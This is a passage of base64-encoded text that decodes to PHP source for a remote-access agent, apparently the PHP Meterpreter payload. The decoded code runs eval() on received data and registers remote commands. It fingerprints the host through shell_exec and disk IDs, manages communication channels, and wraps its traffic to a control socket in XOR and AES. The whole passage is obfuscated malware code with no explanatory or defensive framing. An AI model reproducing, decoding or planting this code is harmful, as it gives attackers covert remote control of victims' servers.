geyBldmFsKCRkYXRhX3RsdlsndmFsdWUnXSk7IH0gJG5ldyA9IGFycmF5X2RpZmYoJGlkMmYsICR0bXApOyBmb3JlYWNoICgkbmV3IGFzICRpZCA9PiAkZnVuYykgeyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1VJTlQsICRpZCkpOyB9IHJldHVybiBFUlJPUl9TVUNDRVNTOyB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfZW51bWV4dGNtZCcpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfZW51bWV4dGNtZCcsIENPTU1BTkRfSURfQ09SRV9FTlVNRVhUQ01EKTsgZnVuY3Rpb24gY29yZV9lbnVtZXh0Y21kKCRyZXEsICYkcGt0KSB7IG15X3ByaW50KCJkb2luZyBjb3JlX2VudW1leHRjbWQiKTsgZ2xvYmFsICRpZDJmOyAkaWRfc3RhcnRfYXJyYXkgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9VSU5UKTsgJGlkX3N0YXJ0ID0gJGlkX3N0YXJ0X2FycmF5Wyd2YWx1ZSddOyAkaWRfZW5kX2FycmF5ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfTEVOR1RIKTsgJGlkX2VuZCA9ICRpZF9lbmRfYXJyYXlbJ3ZhbHVlJ10gKyAkaWRfc3RhcnQ7IGZvcmVhY2ggKCRpZDJmIGFzICRpZCA9PiAkZXh0X2NtZCkgeyBteV9wcmludCgiY29yZV9lbnVtZXh0Y21kIC0gY2hlY2tpbmcgIiAuICRleHRfY21kIC4gIiBhcyAiIC4gJGlkKTsgbGlzdCgkZXh0X25hbWUsICRjbWQpID0gZXhwbG9kZSgiXyIsICRleHRfY21kLCAyKTsgaWYgKCRpZF9zdGFydCA8ICRpZCAmJiAkaWQgPCAkaWRfZW5kKSB7IG15X3ByaW50KCJjb3JlX2VudW1leHRjbWQgLSBhZGRpbmcgIiAuICRleHRfY21kIC4gIiBhcyAiIC4gJGlkKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9VSU5ULCAkaWQpKTsgfSB9IHJldHVybiBFUlJPUl9TVUNDRVNTOyB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfc2V0X3V1aWQnKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX3NldF91dWlkJywgQ09NTUFORF9JRF9DT1JFX1NFVF9VVUlEKTsgZnVuY3Rpb24gY29yZV9zZXRfdXVpZCgkcmVxLCAmJHBrdCkgeyBteV9wcmludCgiZG9pbmcgY29yZV9zZXRfdXVpZCIpOyAkbmV3X3V1aWQgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9VVUlEKTsgaWYgKCRuZXdfdXVpZCAhPSBudWxsKSB7ICRHTE9CQUxTWydVVUlEJ10gPSAkbmV3X3V1aWRbJ3ZhbHVlJ107IG15X3ByaW50KCJOZXcgVVVJRCBpcyB7JEdMT0JBTFNbJ1VVSUQnXX0iKTsgfSByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IGZ1bmN0aW9uIGdldF9oZGRfbGFiZWwoKSB7IGZvcmVhY2ggKHNjYW5kaXIoJy9kZXYvZGlzay9ieS1pZC8nKSBhcyAkZmlsZSkgeyBmb3JlYWNoIChhcnJheSgiYXRhLSIsICJtYi0iKSBhcyAkcHJlZml4KSB7IGlmIChzdHJwb3MoJGZpbGUsICRwcmVmaXgpID09PSAwKSB7IHJldHVybiBzdWJzdHIoJGZpbGUsIHN0cmxlbigkcHJlZml4KSk7IH0gfSB9IHJldHVybiAiIjsgfSBmdW5jdGlvbiBkZXJfdG9fcGVtKCRkZXJfZGF0YSkgeyAkcGVtID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkZGVyX2RhdGEpLCA2NCwgIlxuIik7ICRwZW0gPSAiLS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS1cbiIuJHBlbS4iLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iOyByZXR1cm4gJHBlbTsgfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9uZWdvdGlhdGVfdGx2X2VuY3J5cHRpb24nKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX25lZ290aWF0ZV90bHZfZW5jcnlwdGlvbicsIENPTU1BTkRfSURfQ09SRV9ORUdPVElBVEVfVExWX0VOQ1JZUFRJT04pOyBmdW5jdGlvbiBjb3JlX25lZ290aWF0ZV90bHZfZW5jcnlwdGlvbigkcmVxLCAmJHBrdCkgeyBpZiAoc3VwcG9ydHNfYWVzKCkpIHsgbXlfcHJpbnQoIkFFUyBmdW5jdGlvbmFsaXR5IGlzIHN1cHBvcnRlZCIpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1NZTV9LRVlfVFlQRSwgRU5DX0FFUzI1NikpOyAkR0xPQkFMU1snQUVTX0VOQUJMRUQnXSA9IGZhbHNlOyAkR0xPQkFMU1snQUVTX0tFWSddID0gcmFuZF9ieXRlcygzMik7IGlmIChmdW5jdGlvbl9leGlzdHMoJ29wZW5zc2xfcGtleV9nZXRfcHVibGljJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdvcGVuc3NsX3B1YmxpY19lbmNyeXB0JykpIHsgbXlfcHJpbnQoIkVuY3J5cHRpb24gdmlhIHB1YmxpYyBrZXkgaXMgc3VwcG9ydGVkIik7ICRwdWJfa2V5X3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX1JTQV9QVUJfS0VZKTsgaWYgKCRwdWJfa2V5X3RsdiAhPSBudWxsKSB7ICRrZXkgPSBvcGVuc3NsX3BrZXlfZ2V0X3B1YmxpYyhkZXJfdG9fcGVtKCRwdWJfa2V5X3RsdlsndmFsdWUnXSkpOyAkZW5jID0gJyc7IG9wZW5zc2xfcHVibGljX2VuY3J5cHQoJEdMT0JBTFNbJ0FFU19LRVknXSwgJGVuYywgJGtleSwgT1BFTlNTTF9QS0NTMV9QQURESU5HKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9FTkNfU1lNX0tFWSwgJGVuYykpOyByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfU1lNX0tFWSwgJEdMT0JBTFNbJ0FFU19LRVknXSkpOyB9IHJldHVybiBFUlJPUl9TVUNDRVNTOyB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfZ2V0X3Nlc3Npb25fZ3VpZCcpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfZ2V0X3Nlc3Npb25fZ3VpZCcsIENPTU1BTkRfSURfQ09SRV9HRVRfU0VTU0lPTl9HVUlEKTsgZnVuY3Rpb24gY29yZV9nZXRfc2Vzc2lvbl9ndWlkKCRyZXEsICYkcGt0KSB7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfU0VTU0lPTl9HVUlELCAkR0xPQkFMU1snU0VTU0lPTl9HVUlEJ10pKTsgcmV0dXJuIEVSUk9SX1NVQ0NFU1M7IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9zZXRfc2Vzc2lvbl9ndWlkJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9zZXRfc2Vzc2lvbl9ndWlkJywgQ09NTUFORF9JRF9DT1JFX1NFVF9TRVNTSU9OX0dVSUQpOyBmdW5jdGlvbiBjb3JlX3NldF9zZXNzaW9uX2d1aWQoJHJlcSwgJiRwa3QpIHsgbXlfcHJpbnQoImRvaW5nIGNvcmVfc2V0X3Nlc3Npb25fZ3VpZCIpOyAkbmV3X2d1aWQgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9TRVNTSU9OX0dVSUQpOyBpZiAoJG5ld19ndWlkICE9IG51bGwpIHsgJEdMT0JBTFNbJ1NFU1NJT05fSUQnXSA9ICRuZXdfZ3VpZFsndmFsdWUnXTsgbXlfcHJpbnQoIk5ldyBTZXNzaW9uIEdVSUQgaXMgeyRHTE9CQUxTWydTRVNTSU9OX0dVSUQnXX0iKTsgfSByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX21hY2hpbmVfaWQnKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX21hY2hpbmVfaWQnLCBDT01NQU5EX0lEX0NPUkVfTUFDSElORV9JRCk7IGZ1bmN0aW9uIGNvcmVfbWFjaGluZV9pZCgkcmVxLCAmJHBrdCkgeyBteV9wcmludCgiZG9pbmcgY29yZV9tYWNoaW5lX2lkIik7IGlmIChpc19jYWxsYWJsZSgnZ2V0aG9zdG5hbWUnKSkgeyAkbWFjaGluZV9pZCA9IGdldGhvc3RuYW1lKCk7IH0gZWxzZSB7ICRtYWNoaW5lX2lkID0gcGhwX3VuYW1lKCduJyk7IH0gJHNlcmlhbCA9ICIiOyBpZiAoaXNfd2luZG93cygpKSB7ICRvdXRwdXQgPSBzdHJ0b2xvd2VyKHNoZWxsX2V4ZWMoInZvbCAlU1lTVEVNRFJJVkUlIikpOyAkc2VyaWFsID0gcHJlZ19yZXBsYWNlKCcvLipzZXJpYWwgbnVtYmVyIGlzIChbYS16MC05XXs0fS1bYS16MC05XXs0fSkuKi9zJywgJyQxJywgJG91dHB1dCk7IH0gZWxzZSB7ICRzZXJpYWwgPSBnZXRfaGRkX2xhYmVsKCk7IH0gcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9NQUNISU5FX0lELCAkc2VyaWFsLiI6Ii4kbWFjaGluZV9pZCkpOyByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9ICRjaGFubmVscyA9IGFycmF5KCk7IGZ1bmN0aW9uIHJlZ2lzdGVyX2NoYW5uZWwoJGluLCAkb3V0PW51bGwsICRlcnI9bnVsbCkgeyBnbG9iYWwgJGNoYW5uZWxzOyBpZiAoJG91dCA9PSBudWxsKSB7ICRvdXQgPSAkaW47IH0gaWYgKCRlcnIgPT0gbnVsbCkgeyAkZXJyID0gJG91dDsgfSAkY2hhbm5lbHNbXSA9IGFycmF5KDAgPT4gJGluLCAxID0+ICRvdXQsIDIgPT4gJGVyciwgJ3R5cGUnID0+IGdldF9ydHlwZSgkaW4pLCAnZGF0YScgPT4gJycpOyAkaWQgPSBlbmQoYXJyYXlfa2V5cygkY2hhbm5lbHMpKTsgbXlfcHJpbnQoIkNyZWF0ZWQgbmV3IGNoYW5uZWwgJGluLCB3aXRoIGlkICRpZCIpOyByZXR1cm4gJGlkOyB9IGZ1bmN0aW9uIGdldF9jaGFubmVsX2lkX2Zyb21fcmVzb3VyY2UoJHJlc291cmNlKSB7IGdsb2JhbCAkY2hhbm5lbHM7IGlmIChlbXB0eSgkY2hhbm5lbHMpKSB7IHJldHVybiBmYWxzZTsgfSBmb3JlYWNoICgkY2hhbm5lbHMgYXMgJGkgPT4gJGNoYW5fYXJ5KSB7IGlmIChpbl9hcnJheSgkcmVzb3VyY2UsICRjaGFuX2FyeSkpIHsgbXlfcHJpbnQoIkZvdW5kIGNoYW5uZWwgaWQgJGkiKTsgcmV0dXJuICRpOyB9IH0gcmV0dXJuIGZhbHNlOyB9IGZ1bmN0aW9uICZnZXRfY2hhbm5lbF9ieV9pZCgkY2hhbl9pZCkgeyBnbG9iYWwgJGNoYW5uZWxzOyBteV9wcmludCgiTG9va2luZyB1cCBjaGFubmVsIGlkICRjaGFuX2lkIik7IGlmIChhcnJheV9rZXlfZXhpc3RzKCRjaGFuX2lkLCAkY2hhbm5lbHMpKSB7IG15X3ByaW50KCJGb3VuZCBvbmUiKTsgcmV0dXJuICRjaGFubmVsc1skY2hhbl9pZF07IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGZ1bmN0aW9uIGNoYW5uZWxfd3JpdGUoJGNoYW5faWQsICRkYXRhKSB7ICRjID0gZ2V0X2NoYW5uZWxfYnlfaWQoJGNoYW5faWQpOyBpZiAoJGMgJiYgaXNfcmVzb3VyY2UoJGNbMF0pKSB7IG15X3ByaW50KCItLS1Xcml0aW5nICckZGF0YScgdG8gY2hhbm5lbCAkY2hhbl9pZCIpOyByZXR1cm4gd3JpdGUoJGNbMF0sICRkYXRhKTsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9IH0gZnVuY3Rpb24gY2hhbm5lbF9yZWFkKCRjaGFuX2lkLCAkbGVuKSB7ICRjID0gJmdldF9jaGFubmVsX2J5X2lkKCRjaGFuX2lkKTsgaWYgKCRjKSB7ICRyZXQgPSBzdWJzdHIoJGNbJ2RhdGEnXSwgMCwgJGxlbik7ICRjWydkYXRhJ10gPSBzdWJzdHIoJGNbJ2RhdGEnXSwgJGxlbik7IGlmIChzdHJsZW4oJHJldCkgPiAwKSB7IG15X3ByaW50KCJIYWQgc29tZSBsZWZ0b3ZlcnM6ICckcmV0JyIpOyB9IGlmIChzdHJsZW4oJHJldCkgPCAkbGVuIGFuZCBpc19yZXNvdXJjZSgkY1syXSkgYW5kICRjWzFdICE9ICRjWzJdKSB7ICRyZWFkID0gcmVhZCgkY1syXSk7ICRjWydkYXRhJ10gLj0gJHJlYWQ7ICRieXRlc19uZWVkZWQgPSAkbGVuIC0gc3RybGVuKCRyZXQpOyAkcmV0IC49IHN1YnN0cigkY1snZGF0YSddLCAwLCAkYnl0ZXNfbmVlZGVkKTsgJGNbJ2RhdGEnXSA9IHN1YnN0cigkY1snZGF0YSddLCAkYnl0ZXNfbmVlZGVkKTsgfSBpZiAoc3RybGVuKCRyZXQpIDwgJGxlbiBhbmQgaXNfcmVzb3VyY2UoJGNbMV0pKSB7ICRyZWFkID0gcmVhZCgkY1sxXSk7ICRjWydkYXRhJ10gLj0gJHJlYWQ7ICRieXRlc19uZWVkZWQgPSAkbGVuIC0gc3RybGVuKCRyZXQpOyAkcmV0IC49IHN1YnN0cigkY1snZGF0YSddLCAwLCAkYnl0ZXNfbmVlZGVkKTsgJGNbJ2RhdGEnXSA9IHN1YnN0cigkY1snZGF0YSddLCAkYnl0ZXNfbmVlZGVkKTsgfSBpZiAoZmFsc2UgPT09ICRyZWFkIGFuZCBlbXB0eSgkcmV0KSkgeyBpZiAoaW50ZXJhY3RpbmcoJGNoYW5faWQpKSB7IGhhbmRsZV9kZWFkX3Jlc291cmNlX2NoYW5uZWwoJGNbMV0pOyB9IHJldHVybiBmYWxzZTsgfSByZXR1cm4gJHJldDsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9IH0gZnVuY3Rpb24gcmFuZF94b3JfYnl0ZSgpIHsgcmV0dXJuIGNocihtdF9yYW5kKDEsIDI1NSkpOyB9IGZ1bmN0aW9uIHJhbmRfYnl0ZXMoJHNpemUpIHsgJGIgPSAnJzsgZm9yICgkaSA9IDA7ICRpIDwgJHNpemU7ICRpKyspIHsgJGIgLj0gcmFuZF94b3JfYnl0ZSgpOyB9IHJldHVybiAkYjsgfSBmdW5jdGlvbiByYW5kX3hvcl9rZXkoKSB7IHJldHVybiByYW5kX2J5dGVzKDQpOyB9IGZ1bmN0aW9uIHhvcl9ieXRlcygka2V5LCAkZGF0YSkgeyAkcmVzdWx0ID0gJyc7IGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkZGF0YSk7ICsrJGkpIHsgJHJlc3VsdCAuPSAkZGF0YVskaV0gXiAka2V5WyRpICUgNF07IH0gcmV0dXJuICRyZXN1bHQ7IH0gZnVuY3Rpb24gZ2VuZXJhdGVfcmVxX2lkKCkgeyAkY2hhcmFjdGVycyA9ICdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7ICRyaWQgPSAnJzsgZm9yICgkcCA9IDA7ICRwIDwgMzI7ICRwKyspIHsgJHJpZCAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsIHN0cmxlbigkY2hhcmFjdGVycyktMSldOyB9IHJldHVybiAkcmlkOyB9IGZ1bmN0aW9uIHN1cHBvcnRzX2FlcygpIHsgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnb3BlbnNzbF9kZWNyeXB0JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdvcGVuc3NsX2VuY3J5cHQnKTsgfSBmdW5jdGlvbiBkZWNyeXB0X3BhY2tldCgkcmF3KSB7ICRsZW5fYXJyYXkgPSB1bnBhY2soIk5sZW4iLCBzdWJzdHIoJHJhdywgMjAsIDQpKTsgJGVuY3J5cHRfZmxhZ3MgPSAkbGVuX2FycmF5WydsZW4nXTsgaWYgKCRlbmNyeXB0X2ZsYWdzID09IEVOQ19BRVMyNTYgJiYgc3VwcG9ydHNfYWVzKCkgJiYgJEdMT0JBTFNbJ0FFU19LRVknXSAhPSBudWxsKSB7ICR0bHYgPSBzdWJzdHIoJHJhdywgMjQpOyAkZGVjID0gb3BlbnNzbF9kZWNyeXB0KHN1YnN0cigkdGx2LCAyNCksIEFFU18yNTZfQ0JDLCAkR0xPQkFMU1snQUVTX0tFWSddLCBPUEVOU1NMX1JBV19EQVRBLCBzdWJzdHIoJHRsdiwgOCwgMTYpKTsgcmV0dXJuIHBhY2soIk4iLCBzdHJsZW4oJGRlYykgKyA4KSAuIHN1YnN0cigkdGx2LCA0LCA0KSAuICRkZWM7IH0gcmV0dXJuIHN1YnN0cigkcmF3LCAyNCk7IH0gZnVuY3Rpb24gZW5jcnlwdF9wYWNrZXQoJHJhdykgeyBpZiAoc3VwcG9ydHNfYWVzKCkgJiYgJEdMT0JBTFNbJ0FFU19LRVknXSAhPSBudWxsKSB7IGlmICgkR0xPQkFMU1snQUVTX0VOQUJMRUQnXSA9PT0gdHJ1ZSkgeyAkaXYgPSByYW5kX2J5dGVzKDE2KTsgJGVuYyA9ICRpdiAuIG9wZW5zc2xfZW5jcnlwdChzdWJzdHIoJHJhdywgOCksIEFFU18yNTZfQ0JDLCAkR0xPQkFMU1snQUVTX0tFWSddLCBPUEVOU1NMX1JBV19EQVRBLCAkaXYpOyAkaGRyID0gcGFjaygiTiIsIHN0cmxlbigkZW5jKSArIDgpIC4gc3Vic3RyKCRyYXcsIDQsIDQpOyByZXR1cm4gJEdMT0JBTFNbJ1NFU1NJT05fR1VJRCddIC4gcGFjaygiTiIsIEVOQ19BRVMyNTYpIC4gJGhkciAuICRlbmM7IH0gJEdMT0JBTFNbJ0FFU19FTkFCTEVEJ10gPSB0cnVlOyB9IHJldHVybiAkR0xPQkFMU1snU0VTU0lPTl9HVUlEJ10gLiBwYWNrKCJOIiwgRU5DX05PTkUpIC4gJHJhdzsgfSBmdW5jdGlvbiB3cml0ZV90bHZfdG9fc29ja2V0KCRyZXNvdXJjZSwgJHJhdykgeyAkeG9yID0gcmFuZF94b3Jfa2V5KCk7IHdyaXRlKCRyZXNvdXJjZSwgJHhvciAuIHhvcl9ieXRlcygkeG9yLCBlbmNyeXB0X3BhY2tldCgkcmF3KSkpOyB9IGZ1bmN0aW9uIGhhbmRsZV9kZWFkX3Jlc291cmNlX2NoYW5uZWwoJHJlc291cmNlKSB7IGdsb2JhbCAkbXNnc29jazsgaWYgKCFpc19yZXNvdXJjZSgkcmVzb3VyY2UpKSB7IHJldHVybjsgfSAkY2lkID0gZ2V0X2NoYW5uZWxfaWRfZnJvbV9yZXNvdXJjZSgkcmVzb3VyY2UpOyBpZiAoJGNpZCA9PT0gZmFsc2UpIHsgbXlfcHJpbnQoIlJlc291cmNlIGhhcyBubyBjaGFubmVsOiB7JHJlc291cmNlfSIpOyByZW1vdmVfcmVhZGVyKCRyZXNvdXJjZSk7IGNsb3NlKCRyZXNvdXJjZSk7IH0gZWxzZSB7IG15X3ByaW50KCJIYW5kbGluZyBkZWFkIHJlc291cmNlOiB7JHJlc291cmNlfSwgZm9yIGNoYW5uZWw6IHskY2lkfSIpOyBjaGFubmVsX2Nsb3NlX2hhbmRsZXMoJGNpZCk7ICRwa3QgPSBwYWNrKCJOIiwgUEFDS0VUX1RZUEVfUkVRVUVTVCk7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfQ09NTUFORF9JRCwgQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfQ0xPU0UpKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9SRVFVRVNUX0lELCBnZW5lcmF0ZV9yZXFfaWQoKSkpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX0NIQU5ORUxfSUQsICRjaWQpKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9VVUlELCAkR0xPQkFMU1snVVVJRCddKSk7ICRwa3QgPSBwYWNrKCJOIiwgc3RybGVuKCRwa3QpICsgNCkgLiAkcGt0OyB3cml0ZV90bHZfdG9fc29ja2V0KCRtc2dzb2NrLCAkcGt0KTsgfSB9IGZ1bmN0aW9uIGhhbmRsZV9yZXNvdXJjZV9yZWFkX2NoYW5uZWwoJHJlc291cmNlLCAkZGF0YSkgeyBnbG9iYWwgJHVkcF9ob3N0X21hcDsgJGNpZCA9IGdldF9jaGFubmVsX2lkX2Zyb21fcmVzb3VyY2UoJHJlc291cmNlKTsgbXlfcHJpbnQoIkhhbmRsaW5nIGRhdGEgZnJvbSAkcmVzb3VyY2UiKTsgJHBrdCA9IHBhY2soIk4iLCBQQUNLRVRfVFlQRV9SRVFVRVNUKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9DT01NQU5EX0lELCBDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9XUklURSkpOyBpZiAoYXJyYXlfa2V5X2V4aXN0cygoaW50KSRyZXNvdXJjZSwgJHVkcF9ob3N0X21hcCkpIHsgbGlzdCgkaCwkcCkgPSAkdWRwX2hvc3RfbWFwWyhpbnQpJHJlc291cmNlXTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9QRUVSX0hPU1QsICRoKSk7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfUEVFUl9QT1JULCAkcCkpOyB9IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfQ0hBTk5FTF9JRCwgJGNpZCkpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX0NIQU5ORUxfREFUQSwgJGRhdGEpKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9MRU5HVEgsIHN0cmxlbigkZGF0YSkpKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9SRVFVRVNUX0lELCBnZW5lcmF0ZV9yZXFfaWQoKSkpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1VVSUQsICRHTE9CQUxTWydVVUlEJ10pKTsgJHBrdCA9IHBhY2soIk4iLCBzdHJsZW4oJHBrdCkgKyA0KSAuICRwa3Q7IHJldHVybiAkcGt0OyB9IGZ1bmN0aW9uIGNyZWF0ZV9yZXNwb25zZSgkcmVxKSB7IGdsb2JhbCAkaWQyZjsgJHBrdCA9IHBhY2soIk4iLCBQQUNLRVRfVFlQRV9SRVNQT05TRSk7ICRjb21tYW5kX2lkX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0NPTU1BTkRfSUQpOyBteV9wcmludCgiY29tbWFuZCBpZCBpcyB7JGNvbW1hbmRfaWRfdGx2Wyd2YWx1ZSddfSIpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCAkY29tbWFuZF9pZF90bHYpOyAkcmVxaWRfdGx2ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfUkVRVUVTVF9JRCk7IHBhY2tldF9hZGRfdGx2KCRwa3QsICRyZXFpZF90bHYpOyAkY29tbWFuZF9oYW5kbGVyID0gJGlkMmZbJGNvbW1hbmRfaWRfdGx2Wyd2YWx1ZSddXTsgaWYgKGlzX2NhbGxhYmxlKCRjb21tYW5kX2hhbmRsZXIpKSB7ICRyZXN1bHQgPSAkY29tbWFuZF9oYW5kbGVyKCRyZXEsICRwa3QpOyB9IGVsc2UgeyBteV9wcmludCgiR290IGEgcmVxdWVzdCBmb3Igc29tZXRoaW5nIEkgZG9uJ3Qga25vdyBob3cgdG8gaGFuZGxlICgiIC4gJGNvbW1hbmRfaWRfdGx2Wyd2YWx1ZSddIC4gIiAvICIuICRjb21tYW5kX2hhbmRsZXIgLiIpLCByZXR1cm5pbmcgZmFpbHVyZSIpOyAkcmVzdWx0ID0gRVJST1JfRkFJTFVSRTsgfSBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1JFU1VMVCwgJHJlc3VsdCkpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1VVSUQsICRHTE9CQUxTWydVVUlEJ10pKTsgJHBrdCA9IHBhY2soIk4iLCBzdHJsZW4oJHBrdCkgKyA0KSAuICRwa3Q7IHJldHVybiAkcGt0OyB9IGZ1bmN0aW9uIGNyZWF0ZV90bHYoJHR5cGUsICR2YWwpIHsgcmV0dXJuIGFycmF5KCAndHlwZScgPT4gJHR5cGUsICd2YWx1ZScgPT4gJHZhbCApOyB9IGZ1bmN0aW9uIHRsdl9wYWNrKCR0bHYpIHsgJHJldCA9ICIiOyBpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfU1RSSU5HKSA9PSBUTFZfTUVUQV9UWVBFX1NUUklORykgeyAkcmV0ID0gcGFjaygiTk5hKiIsIDggKyBzdHJsZW4oJHRsdlsndmFsdWUnXSkrMSwgJHRsdlsndHlwZSddLCAkdGx2Wyd2YWx1ZSddIC4gIlwwIik7IH0gZWxzZWlmICgoJHRsdlsndHlwZSddICYgVExWX01FVEFfVFlQRV9RV09SRCkgPT0gVExWX01FVEFfVFlQRV9RV09SRCkgeyAkaGkgPSAoJHRsdlsndmFsdWUnXSA+PiAzMikgJiAweEZGRkZGRkZGOyAkbG8gPSAkdGx2Wyd2YWx1ZSddICYgMHhGRkZGRkZGRjsgJHJldCA9IHBhY2soIk5OTk4iLCA4ICsgOCwgJHRsdlsndHlwZSddLCAkaGksICRsbyk7IH0gZWxzZWlmICgoJHRsdlsndHlwZSddICYgVExWX01FVEFfVFlQRV9VSU5UKSA9PSBUTFZfTUVUQV9UWVBFX1VJTlQpIHsgJHJldCA9IHBhY2soIk5OTiIsIDggKyA0LCAkdGx2Wyd0eXBlJ10sICR0bHZbJ3ZhbHVlJ10pOyB9IGVsc2VpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfQk9PTCkgPT0gVExWX01FVEFfVFlQRV9CT09MKSB7ICRyZXQgPSBwYWNrKCJOTiIsIDggKyAxLCAkdGx2Wyd0eXBlJ10pOyAkcmV0IC49ICR0bHZbJ3ZhbHVlJ10gPyAiXHgwMSIgOiAiXHgwMCI7IH0gZWxzZWlmICgoJHRsdlsndHlwZSddICYgVExWX01FVEFfVFlQRV9SQVcpID09IFRMVl9NRVRBX1RZUEVfUkFXKSB7ICRyZXQgPSBwYWNrKCJOTiIsIDggKyBzdHJsZW4oJHRsdlsndmFsdWUnXSksICR0bHZbJ3R5cGUnXSkgLiAkdGx2Wyd2YWx1ZSddOyB9IGVsc2VpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfR1JPVVApID09IFRMVl9NRVRBX1RZUEVfR1JPVVApIHsgJHJldCA9IHBhY2soIk5OIiwgOCArIHN0cmxlbigkdGx2Wyd2YWx1ZSddKSwgJHRsdlsndHlwZSddKSAuICR0bHZbJ3ZhbHVlJ107IH0gZWxzZWlmICgoJHRsdlsndHlwZSddICYgVExWX01FVEFfVFlQRV9DT01QTEVYKSA9PSBUTFZfTUVUQV9UWVBFX0NPTVBMRVgpIHsgJHJldCA9IHBhY2soIk5OIiwgOCArIHN0cmxlbigkdGx2Wyd2YWx1ZSddKSwgJHRsdlsndHlwZSddKSAuICR0bHZbJ3ZhbHVlJ107IH0gZWxzZSB7IG15X3ByaW50KCJEb24ndCBrbm93IGhvdyB0byBtYWtlIGEgdGx2IG9mIHR5cGUgIi4gJHRsdlsndHlwZSddIC4gIiAobWV0YSB0eXBlICIuIHNwcmludGYoIiUwOHgiLCAkdGx2Wyd0eXBlJ10gJiBUTFZfTUVUQV9UWVBFX01BU0spIC4iKSwgd3RmIik7IH0gcmV0dXJuICRyZXQ7IH0gZnVuY3Rpb24gdGx2X3VucGFjaygkcmF3X3RsdikgeyAkdGx2ID0gdW5wYWNrKCJObGVuL050eXBlIiwgc3Vic3RyKCRyYXdfdGx2LCAwLCA4KSk7ICR0eXBlID0gJHRsdlsndHlwZSddOyBteV9wcmludCgibGVuOiB7JHRsdlsnbGVuJ119LCB0eXBlOiB7JHRsdlsndHlwZSddfSIpOyBpZiAoKCR0eXBlICYgVExWX01FVEFfVFlQRV9TVFJJTkcp